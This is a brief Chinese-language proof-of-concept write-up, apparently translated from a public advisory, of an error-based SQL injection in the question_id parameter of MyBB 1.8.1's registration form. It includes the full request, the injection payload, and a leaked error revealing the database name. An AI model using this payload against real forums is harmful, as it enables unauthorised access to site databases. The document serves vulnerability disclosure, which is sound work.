MyBB 1.8.1 /member.php SQL注入漏洞

注册时post参数question_id存在SQL注入 http://xxx/mybb/member.php?action=register ``` regcheck1=&regcheck2=true&username=test&password=123456&password2=123456&email=test%40test.com&email2=test%40test.com&referrername=&imagestring=orNup&imagehash=25af1e7ba0a60c87d5368cc3a1aca0da&answer=4&**question_id=vRAJySicdDYlDX7wxaS1q6JFJLccAonQ**&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2&regtime=1449151168&step=registration&action=do_register&regsubmit=Submit+Registration%21 ``` 粗体参数存在注入 构造注入 ``` question_id=vRAJySicdDYlDX7wxaS1q6JFJLccAonQ'+or+1+group+by+concat_ws(0x3a,database(),floor(rand(0)*2))+having+min(0)+or+1# ``` reponse包503，爆出数据库名： ``` <div id="content"> <h2>MyBB SQL Error</h2> <div id="error"> <p>MyBB has experienced an internal SQL error and cannot continue.</p><dl> <dt>SQL Error:</dt> <dd>1062 - Duplicate entry 'mybb:1' for key 'group_key'</dd> ``` [翻译自此](https://packetstormsecurity.com/files/129109/MyBB-1.8.1-Cross-Site-Scripting-SQL-Injection.html)